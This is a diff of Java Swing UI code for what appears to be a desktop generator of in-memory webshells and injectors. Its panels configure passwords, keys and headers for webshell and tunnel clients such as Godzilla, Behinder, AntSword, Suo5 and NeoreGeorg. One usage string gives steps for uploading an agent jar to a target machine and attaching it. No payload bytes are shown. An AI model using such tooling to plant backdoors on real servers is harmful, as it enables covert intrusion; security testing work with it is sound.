import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
|
||||||
|
import com.reajason.javaweb.memshell.MemShellResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.border.Border;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
public class ResultPanel extends JPanel {
|
||||||
|
private final JTabbedPane tabs = new JTabbedPane();
|
||||||
|
private final BasicInfoView basicInfoView = new BasicInfoView();
|
||||||
|
private final JTextArea packResultArea = createTextArea();
|
||||||
|
private final JTextArea shellArea = createTextArea();
|
||||||
|
private final JTextArea injectorArea = createTextArea();
|
||||||
|
private final JLabel packHeaderLabel = new JLabel("未生成");
|
||||||
|
private DesktopMemShellGenerateResult current;
|
||||||
|
|
||||||
|
public ResultPanel() {
|
||||||
|
super(new BorderLayout());
|
||||||
|
|
||||||
|
JPanel packTab = new JPanel(new MigLayout("insets 6, fill, wrap 1", "[grow,fill]", "[][grow]"));
|
||||||
|
packTab.add(wrapBasicInfoPanel(), "growx");
|
||||||
|
packTab.add(wrapPackResultPanel(), "grow, push");
|
||||||
|
|
||||||
|
tabs.addTab("生成结果", packTab);
|
||||||
|
tabs.addTab("内存马", wrapBase64Panel("内存马类字节(Base64)", shellArea, true, true));
|
||||||
|
tabs.addTab("注入器", wrapBase64Panel("注入器类字节(Base64)", injectorArea, false, true));
|
||||||
|
add(tabs, BorderLayout.CENTER);
|
||||||
|
}
|
||||||
|
|
||||||
|
private JPanel wrapBasicInfoPanel() {
|
||||||
|
JPanel p = new JPanel(new BorderLayout());
|
||||||
|
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
|
||||||
|
top.add(new JLabel("基本信息"));
|
||||||
|
|
||||||
|
Border cardBorder = BorderFactory.createCompoundBorder(
|
||||||
|
BorderFactory.createLineBorder(UIManager.getColor("Component.borderColor") == null ? Color.LIGHT_GRAY : UIManager.getColor("Component.borderColor")),
|
||||||
|
BorderFactory.createEmptyBorder(6, 6, 6, 6)
|
||||||
|
);
|
||||||
|
p.setBorder(cardBorder);
|
||||||
|
p.add(top, BorderLayout.NORTH);
|
||||||
|
p.add(basicInfoView, BorderLayout.CENTER);
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
private JPanel wrapPackResultPanel() {
|
||||||
|
JPanel p = new JPanel(new BorderLayout());
|
||||||
|
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
|
||||||
|
JButton copyBtn = new JButton("复制");
|
||||||
|
JButton saveBtn = new JButton("保存");
|
||||||
|
copyBtn.addActionListener(e -> ClipboardUtil.copyText(packResultArea.getText()));
|
||||||
|
saveBtn.addActionListener(e -> savePackResult());
|
||||||
|
top.add(new JLabel("打包结果"));
|
||||||
|
top.add(packHeaderLabel);
|
||||||
|
top.add(copyBtn);
|
||||||
|
top.add(saveBtn);
|
||||||
|
p.add(top, BorderLayout.NORTH);
|
||||||
|
p.add(new JScrollPane(packResultArea), BorderLayout.CENTER);
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
private JPanel wrapBase64Panel(String title, JTextArea area, boolean shell, boolean saveClass) {
|
||||||
|
JPanel p = new JPanel(new BorderLayout());
|
||||||
|
JPanel top = new JPanel(new FlowLayout(FlowLayout.LEFT, 6, 3));
|
||||||
|
JButton copyBtn = new JButton("复制");
|
||||||
|
JButton saveBtn = new JButton(saveClass ? "保存 .class" : "保存");
|
||||||
|
copyBtn.addActionListener(e -> ClipboardUtil.copyText(area.getText()));
|
||||||
|
saveBtn.addActionListener(e -> {
|
||||||
|
if (current == null) return;
|
||||||
|
try {
|
||||||
|
MemShellResult r = current.getMemShellResult();
|
||||||
|
if (shell) {
|
||||||
|
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getShellClassName()), r.getShellBytesBase64Str(), "class");
|
||||||
|
} else {
|
||||||
|
FileSaveUtil.saveBase64AsBytes(this, simpleClassFileName(r.getInjectorClassName()), r.getInjectorBytesBase64Str(), "class");
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
top.add(new JLabel(title));
|
||||||
|
top.add(copyBtn);
|
||||||
|
top.add(saveBtn);
|
||||||
|
p.add(top, BorderLayout.NORTH);
|
||||||
|
p.add(new JScrollPane(area), BorderLayout.CENTER);
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
private JTextArea createTextArea() {
|
||||||
|
JTextArea area = new JTextArea();
|
||||||
|
area.setEditable(false);
|
||||||
|
area.setLineWrap(true);
|
||||||
|
area.setWrapStyleWord(true);
|
||||||
|
area.setFont(new Font(Font.MONOSPACED, Font.PLAIN, 12));
|
||||||
|
return area;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void showResult(DesktopMemShellGenerateResult result) {
|
||||||
|
this.current = result;
|
||||||
|
MemShellResult r = result.getMemShellResult();
|
||||||
|
basicInfoView.setResult(result);
|
||||||
|
packHeaderLabel.setText(result.getPackMethod() + (result.getPackResult() == null ? "" : " (" + result.getPackResult().length() + ")"));
|
||||||
|
if (result.isJarOutput() || result.isAgentOutput()) {
|
||||||
|
packResultArea.setText(buildUsageText(result));
|
||||||
|
} else {
|
||||||
|
packResultArea.setText(result.getPackResult());
|
||||||
|
}
|
||||||
|
shellArea.setText(r.getShellBytesBase64Str());
|
||||||
|
injectorArea.setText(r.getInjectorBytesBase64Str());
|
||||||
|
}
|
||||||
|
|
||||||
|
public void clear() {
|
||||||
|
current = null;
|
||||||
|
basicInfoView.clear();
|
||||||
|
packResultArea.setText("");
|
||||||
|
shellArea.setText("");
|
||||||
|
injectorArea.setText("");
|
||||||
|
packHeaderLabel.setText("未生成");
|
||||||
|
}
|
||||||
|
|
||||||
|
private String buildUsageText(DesktopMemShellGenerateResult result) {
|
||||||
|
if (result.isAgentOutput()) {
|
||||||
|
return "1. 点击保存导出 Agent Jar\n2. 上传到目标机器\n3. 使用 jattach/attach 方式加载\n4. 按生成配置尝试连接/触发\n\n(下方“保存”按钮会保存打包后的 Jar)";
|
||||||
|
}
|
||||||
|
return "1. 点击保存导出 Jar\n2. 按目标环境触发类加载\n3. 使用基本信息中的参数连接内存马\n\n(下方“保存”按钮会保存打包后的 Jar)";
|
||||||
|
}
|
||||||
|
|
||||||
|
private void savePackResult() {
|
||||||
|
if (current == null) return;
|
||||||
|
try {
|
||||||
|
if (current.isJarOutput() || current.isAgentOutput()) {
|
||||||
|
String baseName = current.getMemShellResult().getShellConfig().getServer() + current.getMemShellResult().getShellConfig().getShellTool() + (current.isAgentOutput() ? "MemShellAgent" : "MemShell");
|
||||||
|
FileSaveUtil.saveBase64AsBytes(this, baseName + ".jar", current.getPackResult(), "jar");
|
||||||
|
} else {
|
||||||
|
FileSaveUtil.saveText(this, current.getPackMethod() + ".txt", current.getPackResult());
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
SwingUiUtil.showError(this, "保存失败: " + ex.getMessage());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static String simpleClassFileName(String className) {
|
||||||
|
if (className == null || className.trim().isEmpty()) return "output.class";
|
||||||
|
int idx = className.lastIndexOf('.');
|
||||||
|
return (idx >= 0 ? className.substring(idx + 1) : className) + ".class";
|
||||||
|
}
|
||||||
|
|
||||||
|
public JComponent getBasicInfoComponent() {
|
||||||
|
return basicInfoView;
|
||||||
|
}
|
||||||
|
|
||||||
|
static final class BasicInfoView extends JPanel {
|
||||||
|
private final JPanel content = new JPanel(new MigLayout("insets 0, fillx, gapx 10, gapy 2, wrap 2", "[right]10[grow,fill]", "[]"));
|
||||||
|
|
||||||
|
BasicInfoView() {
|
||||||
|
super(new BorderLayout());
|
||||||
|
add(content, BorderLayout.CENTER);
|
||||||
|
clear();
|
||||||
|
}
|
||||||
|
|
||||||
|
void clear() {
|
||||||
|
content.removeAll();
|
||||||
|
content.revalidate();
|
||||||
|
content.repaint();
|
||||||
|
}
|
||||||
|
|
||||||
|
void setResult(DesktopMemShellGenerateResult result) {
|
||||||
|
content.removeAll();
|
||||||
|
MemShellResult r = result.getMemShellResult();
|
||||||
|
ShellConfig shellConfig = r.getShellConfig();
|
||||||
|
ShellToolConfig toolConfig = r.getShellToolConfig();
|
||||||
|
appendToolRows(shellConfig, toolConfig);
|
||||||
|
row("注入器类名", r.getInjectorClassName() + " (" + r.getInjectorSize() + " bytes)");
|
||||||
|
row("内存马类名", r.getShellClassName() + " (" + r.getShellSize() + " bytes)");
|
||||||
|
content.revalidate();
|
||||||
|
content.repaint();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void appendToolRows(ShellConfig shellConfig, ShellToolConfig toolConfig) {
|
||||||
|
if (toolConfig == null) {
|
||||||
|
row("参数", "无");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
String tool = shellConfig == null ? null : shellConfig.getShellTool();
|
||||||
|
if (toolConfig instanceof GodzillaConfig) {
|
||||||
|
GodzillaConfig c = (GodzillaConfig) toolConfig;
|
||||||
|
row("密码", c.getPass());
|
||||||
|
row("密钥", c.getKey());
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
} else if (toolConfig instanceof BehinderConfig) {
|
||||||
|
BehinderConfig c = (BehinderConfig) toolConfig;
|
||||||
|
row("密码", c.getPass());
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
} else if (toolConfig instanceof CommandConfig) {
|
||||||
|
CommandConfig c = (CommandConfig) toolConfig;
|
||||||
|
row("参数名", c.getParamName());
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
row("加密器", c.getEncryptor() == null ? "" : c.getEncryptor().name());
|
||||||
|
row("实现类", c.getImplementationClass() == null ? "" : c.getImplementationClass().name());
|
||||||
|
if (c.getTemplate() != null) {
|
||||||
|
row("命令模板", c.getTemplate());
|
||||||
|
}
|
||||||
|
} else if (toolConfig instanceof AntSwordConfig) {
|
||||||
|
AntSwordConfig c = (AntSwordConfig) toolConfig;
|
||||||
|
row("密码", c.getPass());
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
} else if (toolConfig instanceof Suo5Config) {
|
||||||
|
Suo5Config c = (Suo5Config) toolConfig;
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
} else if (toolConfig instanceof ProxyConfig) {
|
||||||
|
ProxyConfig c = (ProxyConfig) toolConfig;
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
} else if (toolConfig instanceof NeoreGeorgConfig) {
|
||||||
|
NeoreGeorgConfig c = (NeoreGeorgConfig) toolConfig;
|
||||||
|
row("请求头", c.getHeaderName() + ": " + c.getHeaderValue());
|
||||||
|
} else if (toolConfig instanceof CustomConfig) {
|
||||||
|
CustomConfig c = (CustomConfig) toolConfig;
|
||||||
|
String v = c.getShellClassBase64();
|
||||||
|
row("自定义类(Base64)", v == null ? "" : (v.length() > 32 ? v.substring(0, 32) + "..." : v));
|
||||||
|
} else if (tool != null) {
|
||||||
|
row("工具类型", tool);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void row(String key, String value) {
|
||||||
|
addValueRow(key, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void addValueRow(String key, String value) {
|
||||||
|
String text = value == null ? "" : value;
|
||||||
|
content.add(new JLabel(key));
|
||||||
|
JTextField tf = new JTextField(text);
|
||||||
|
tf.setEditable(false);
|
||||||
|
tf.setBorder(BorderFactory.createEmptyBorder(1, 4, 1, 4));
|
||||||
|
tf.setOpaque(true);
|
||||||
|
tf.setBackground(UIManager.getColor("Panel.background"));
|
||||||
|
tf.setToolTipText(value == null ? "" : value);
|
||||||
|
tf.setToolTipText(text);
|
||||||
|
content.add(tf, "growx, wrap");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+118
@@ -0,0 +1,118 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.DocumentEvent;
|
||||||
|
import javax.swing.event.DocumentListener;
|
||||||
|
import java.awt.*;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.function.Consumer;
|
||||||
|
|
||||||
|
public abstract class AbstractToolPanel extends JPanel implements RefreshableToolPanel {
|
||||||
|
protected final MemShellFormController controller;
|
||||||
|
protected final Runnable refreshAll;
|
||||||
|
protected boolean updating;
|
||||||
|
|
||||||
|
protected final JComboBox<String> shellTypeCombo = new JComboBox<>();
|
||||||
|
protected final JTextField urlPatternField = new JTextField();
|
||||||
|
protected final JPanel shellTypeAndUrlRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[50%,fill][50%,fill]", "[]"));
|
||||||
|
protected JPanel urlPatternRow = new JPanel(new BorderLayout());
|
||||||
|
protected final JCheckBox randomClassNameCheck = new JCheckBox("随机类名");
|
||||||
|
protected final JPanel manualClassPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
|
||||||
|
protected final JTextField shellClassNameField = new JTextField();
|
||||||
|
protected final JTextField injectorClassNameField = new JTextField();
|
||||||
|
|
||||||
|
protected AbstractToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
this.controller = controller;
|
||||||
|
this.refreshAll = refreshAll;
|
||||||
|
setLayout(new MigLayout("insets 6, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]4[]"));
|
||||||
|
buildCommonShellTypeSection();
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void buildCommonShellTypeSection() {
|
||||||
|
shellTypeAndUrlRow.add(labeled("内存马挂载类型", shellTypeCombo), "growx");
|
||||||
|
urlPatternRow = labeled("请求路径", urlPatternField);
|
||||||
|
shellTypeAndUrlRow.add(urlPatternRow, "growx");
|
||||||
|
add(shellTypeAndUrlRow, "span 2, growx, wrap");
|
||||||
|
|
||||||
|
shellTypeCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = shellTypeCombo.getSelectedItem();
|
||||||
|
if (item != null) {
|
||||||
|
controller.setShellType(String.valueOf(item));
|
||||||
|
refreshAll.run();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
bindText(urlPatternField, controller::setUrlPattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void addRandomClassSection() {
|
||||||
|
add(randomClassNameCheck, "span 2, split 2, wrap");
|
||||||
|
manualClassPanel.add(labeled("内存马类名", shellClassNameField), "growx");
|
||||||
|
manualClassPanel.add(labeled("注入器类名", injectorClassNameField), "growx");
|
||||||
|
add(manualClassPanel, "span 2, growx, hidemode 3");
|
||||||
|
|
||||||
|
randomClassNameCheck.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
controller.setRandomClassName(randomClassNameCheck.isSelected());
|
||||||
|
refreshAll.run();
|
||||||
|
});
|
||||||
|
bindText(shellClassNameField, controller::setShellClassName);
|
||||||
|
bindText(injectorClassNameField, controller::setInjectorClassName);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected JPanel labeled(String label, JComponent component) {
|
||||||
|
JPanel p = new JPanel(new MigLayout("insets 0, fillx, wrap 1", "[grow,fill]", "[]1[]"));
|
||||||
|
p.add(new JLabel(label), "growx");
|
||||||
|
p.add(component, "growx");
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void setComboItems(JComboBox<String> combo, List<String> items, String selected) {
|
||||||
|
combo.removeAllItems();
|
||||||
|
for (String item : items) combo.addItem(item);
|
||||||
|
if (selected != null) combo.setSelectedItem(selected);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void bindText(JTextField field, Consumer<String> setter) {
|
||||||
|
field.getDocument().addDocumentListener(new DocumentListener() {
|
||||||
|
@Override
|
||||||
|
public void insertUpdate(DocumentEvent e) {
|
||||||
|
changed();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void removeUpdate(DocumentEvent e) {
|
||||||
|
changed();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void changedUpdate(DocumentEvent e) {
|
||||||
|
changed();
|
||||||
|
}
|
||||||
|
|
||||||
|
private void changed() {
|
||||||
|
if (updating) return;
|
||||||
|
setter.accept(field.getText());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
protected void applyCommonState(MemShellFormState s) {
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
setComboItems(shellTypeCombo, controller.getShellTypesForCurrentTool(), s.getShellType());
|
||||||
|
urlPatternField.setText(s.getUrlPattern());
|
||||||
|
randomClassNameCheck.setSelected(s.isRandomClassName());
|
||||||
|
boolean nextManualClassVisible = !s.isRandomClassName();
|
||||||
|
manualClassPanel.setVisible(nextManualClassVisible);
|
||||||
|
shellClassNameField.setText(s.getShellClassName());
|
||||||
|
injectorClassNameField.setText(s.getInjectorClassName());
|
||||||
|
} finally {
|
||||||
|
updating = false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class AntSwordToolPanel extends AbstractToolPanel {
|
||||||
|
private final JTextField passField = new JTextField();
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
|
||||||
|
public AntSwordToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
|
||||||
|
add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||||
|
addRandomClassSection();
|
||||||
|
bindText(passField, controller::setAntSwordPass);
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
passField.setText(s.getAntSwordPass());
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
} finally { updating = false; }
|
||||||
|
}
|
||||||
|
}
|
||||||
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class BehinderToolPanel extends AbstractToolPanel {
|
||||||
|
private final JTextField passField = new JTextField();
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
|
||||||
|
public BehinderToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
add(labeled("密码(可选)", passField), "span 2, growx, wrap");
|
||||||
|
add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
add(labeled("请求头值(可选)", headerValueField), "growx, wrap");
|
||||||
|
addRandomClassSection();
|
||||||
|
bindText(passField, controller::setBehinderPass);
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
try {
|
||||||
|
passField.setText(s.getBehinderPass());
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
} finally { updating = false; }
|
||||||
|
}
|
||||||
|
}
|
||||||
+99
@@ -0,0 +1,99 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
|
||||||
|
public class CommandToolPanel extends AbstractToolPanel {
|
||||||
|
private final JPanel paramRow = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[]"));
|
||||||
|
private final JTextField paramField = new JTextField();
|
||||||
|
private final JPanel headerRow = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][grow,fill]", "[]"));
|
||||||
|
private final JTextField headerNameField = new JTextField();
|
||||||
|
private final JTextField headerValueField = new JTextField();
|
||||||
|
private final JCheckBox advancedToggle = new JCheckBox("高级配置");
|
||||||
|
private final JPanel advancedPanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8, gapy 2, wrap 2", "[grow,fill][grow,fill]", "[]"));
|
||||||
|
private final JComboBox<String> encryptorCombo = new JComboBox<>();
|
||||||
|
private final JComboBox<String> implCombo = new JComboBox<>();
|
||||||
|
private final JTextField commandTemplateField = new JTextField();
|
||||||
|
|
||||||
|
public CommandToolPanel(MemShellFormController controller, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
paramRow.add(labeled("参数名(可选)", paramField), "growx");
|
||||||
|
add(paramRow, "span 2, growx, wrap, hidemode 3");
|
||||||
|
|
||||||
|
headerRow.add(labeled("请求头名", headerNameField), "growx");
|
||||||
|
headerRow.add(labeled("请求头值(可选)", headerValueField), "growx");
|
||||||
|
add(headerRow, "span 2, growx, wrap, hidemode 3");
|
||||||
|
|
||||||
|
add(advancedToggle, "span 2, gapy 2 0, wrap");
|
||||||
|
advancedPanel.add(labeled("加密器", encryptorCombo), "growx");
|
||||||
|
advancedPanel.add(labeled("实现类", implCombo), "growx");
|
||||||
|
advancedPanel.add(labeled("命令模板(可选)", commandTemplateField), "span 2, growx");
|
||||||
|
add(advancedPanel, "span 2, growx, wrap, hidemode 3");
|
||||||
|
|
||||||
|
addRandomClassSection();
|
||||||
|
|
||||||
|
bindText(paramField, controller::setCommandParamName);
|
||||||
|
bindText(headerNameField, controller::setHeaderName);
|
||||||
|
bindText(headerValueField, controller::setHeaderValue);
|
||||||
|
bindText(commandTemplateField, controller::setCommandTemplate);
|
||||||
|
|
||||||
|
encryptorCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = encryptorCombo.getSelectedItem();
|
||||||
|
controller.setEncryptor(item == null ? "" : String.valueOf(item));
|
||||||
|
});
|
||||||
|
implCombo.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
Object item = implCombo.getSelectedItem();
|
||||||
|
controller.setImplementationClass(item == null ? "" : String.valueOf(item));
|
||||||
|
});
|
||||||
|
advancedToggle.addActionListener(e -> {
|
||||||
|
advancedPanel.setVisible(advancedToggle.isSelected());
|
||||||
|
revalidate();
|
||||||
|
repaint();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override public void refreshFromController() {
|
||||||
|
MemShellFormState s = controller.getState();
|
||||||
|
applyCommonState(s);
|
||||||
|
updating = true;
|
||||||
|
boolean layoutVisibilityChanged = false;
|
||||||
|
try {
|
||||||
|
String encryptor = (s.getEncryptor() == null || s.getEncryptor().trim().isEmpty())
|
||||||
|
? (controller.getCommandEncryptors().isEmpty() ? null : controller.getCommandEncryptors().get(0))
|
||||||
|
: s.getEncryptor();
|
||||||
|
String impl = (s.getImplementationClass() == null || s.getImplementationClass().trim().isEmpty())
|
||||||
|
? (controller.getCommandImplementationClasses().isEmpty() ? null : controller.getCommandImplementationClasses().get(0))
|
||||||
|
: s.getImplementationClass();
|
||||||
|
setComboItems(encryptorCombo, controller.getCommandEncryptors(), encryptor);
|
||||||
|
setComboItems(implCombo, controller.getCommandImplementationClasses(), impl);
|
||||||
|
boolean nextParamVisible = controller.isCommandParamVisible();
|
||||||
|
boolean nextHeaderVisible = controller.isCommandHeaderVisible();
|
||||||
|
if (paramRow.isVisible() != nextParamVisible) {
|
||||||
|
layoutVisibilityChanged = true;
|
||||||
|
}
|
||||||
|
if (headerRow.isVisible() != nextHeaderVisible) {
|
||||||
|
layoutVisibilityChanged = true;
|
||||||
|
}
|
||||||
|
paramRow.setVisible(nextParamVisible);
|
||||||
|
headerRow.setVisible(nextHeaderVisible);
|
||||||
|
paramField.setText(s.getCommandParamName());
|
||||||
|
headerNameField.setText(s.getHeaderName());
|
||||||
|
headerValueField.setText(s.getHeaderValue());
|
||||||
|
commandTemplateField.setText(s.getCommandTemplate());
|
||||||
|
boolean nextAdvancedVisible = advancedToggle.isSelected();
|
||||||
|
if (advancedPanel.isVisible() != nextAdvancedVisible) {
|
||||||
|
layoutVisibilityChanged = true;
|
||||||
|
}
|
||||||
|
advancedPanel.setVisible(nextAdvancedVisible);
|
||||||
|
} finally { updating = false; }
|
||||||
|
if (layoutVisibilityChanged) {
|
||||||
|
revalidate();
|
||||||
|
repaint();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+131
@@ -0,0 +1,131 @@
|
|||||||
|
package com.reajason.javaweb.desktop.memshell.ui.panel.tool;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.desktop.memshell.controller.MemShellFormController;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.model.MemShellFormState;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.service.CustomClassNameParser;
|
||||||
|
import com.reajason.javaweb.desktop.memshell.util.SwingUiUtil;
|
||||||
|
import net.miginfocom.swing.MigLayout;
|
||||||
|
|
||||||
|
import javax.swing.*;
|
||||||
|
import javax.swing.event.DocumentEvent;
|
||||||
|
import javax.swing.event.DocumentListener;
|
||||||
|
import java.awt.event.ActionEvent;
|
||||||
|
import java.io.File;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.util.Base64;
|
||||||
|
|
||||||
|
public class CustomToolPanel extends AbstractToolPanel {
|
||||||
|
private final CustomClassNameParser parser;
|
||||||
|
private final JRadioButton base64Mode = new JRadioButton("Base64", true);
|
||||||
|
private final JRadioButton fileMode = new JRadioButton("File");
|
||||||
|
private final JTextArea base64Area = new JTextArea(4, 40);
|
||||||
|
private final JButton fileButton = new JButton("选择 .class 文件");
|
||||||
|
private final JLabel fileLabel = new JLabel("未选择文件");
|
||||||
|
private final JPanel base64Panel = new JPanel(new MigLayout("insets 0, fillx", "[grow,fill]", "[grow,fill]"));
|
||||||
|
private final JPanel filePanel = new JPanel(new MigLayout("insets 0, fillx, gapx 8", "[grow,fill][]", "[]"));
|
||||||
|
private final Timer parseDebounce;
|
||||||
|
|
||||||
|
public CustomToolPanel(MemShellFormController controller, CustomClassNameParser parser, Runnable refreshAll) {
|
||||||
|
super(controller, refreshAll);
|
||||||
|
this.parser = parser;
|
||||||
|
|
||||||
|
ButtonGroup group = new ButtonGroup();
|
||||||
|
group.add(base64Mode);
|
||||||
|
group.add(fileMode);
|
||||||
|
add(new JLabel("Shell Class"));
|
||||||
|
JPanel radioWrap = new JPanel(new MigLayout("insets 0, gapx 8", "[][]", "[]"));
|
||||||
|
radioWrap.add(base64Mode);
|
||||||
|
radioWrap.add(fileMode);
|
||||||
|
add(radioWrap, "growx, wrap");
|
||||||
|
|
||||||
|
base64Panel.add(new JScrollPane(base64Area), "grow");
|
||||||
|
filePanel.add(fileLabel, "growx");
|
||||||
|
filePanel.add(fileButton);
|
||||||
|
add(base64Panel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
|
||||||
|
add(filePanel, "span 2, growx, gapy 1 0, wrap, hidemode 3");
|
||||||
|
|
||||||
|
addRandomClassSection();
|
||||||
|
|
||||||
|
parseDebounce = new Timer(400, this::parseAndFillClassName);
|
||||||
|
parseDebounce.setRepeats(false);
|
||||||
|
|
||||||
|
base64Area.getDocument().addDocumentListener(new DocumentListener() {
|
||||||
|
@Override public void insertUpdate(DocumentEvent e) { changed(); }
|
||||||
|
@Override public void removeUpdate(DocumentEvent e) { changed(); }
|
||||||
|
@Override public void changedUpdate(DocumentEvent e) { changed(); }
|
||||||
|
private void changed() {
|
||||||
|
if (updating) return;
|
||||||
|
controller.setShellClassBase64(base64Area.getText());
|
||||||
|
parseDebounce.restart();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
base64Mode.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
controller.setCustomInputMode("base64");
|
||||||
|
refreshAll.run();
|
||||||
|
});
|
||||||
|
fileMode.addActionListener(e -> {
|
||||||
|
if (updating) return;
|
||||||
|
controller.setCustomInputMode("file");
|
||||||
|
refreshAll.run();
|
||||||
